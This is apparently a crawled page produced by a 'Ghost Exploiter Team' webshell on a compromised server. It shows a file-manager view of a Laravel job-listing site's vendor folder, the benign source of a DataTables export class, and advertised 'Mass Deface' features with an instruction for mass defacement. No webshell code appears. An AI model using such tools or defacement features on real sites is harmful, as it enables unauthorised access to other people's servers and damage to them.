webshell
Ghost Exploiter Team Official
Mass Deface
Directory >>
/
home
/
aminiwrc
/
public_html11
/
job-listing
/
vendor
/
yajra
/
laravel-datatables-buttons
/
src
/
Exports
/
Mass Deface Auto Detect Domain
/*Ubah Ke document_root untuk mass deface*/
File / Folder
Size
Action
.
-
+New File
DataTablesCollectionExp
...
0.878KB
edt
ren
<?php namespace Yajra\DataTables\Exports; use Illuminate\Support\Collection; use Maatwebsite\Excel\Concerns\Exportable; use Maatwebsite\Excel\Concerns\FromCollection; use Maatwebsite\Excel\Concerns\WithHeadings; abstract class DataTablesCollectionExport implements FromCollection, WithHeadings { use Exportable; /** * @var Collection */ protected $collection; /** * @param Collection $collection */ public function __construct(Collection $collection) { $this->collection = $collection; } /** * @return Collection */ public function collection() { return $this->collection; } /** * @return array */ public function headings(): array { $first = $this->collection->first(); if ($first) { return array_keys($first); } return []; } }
<=Back
Liking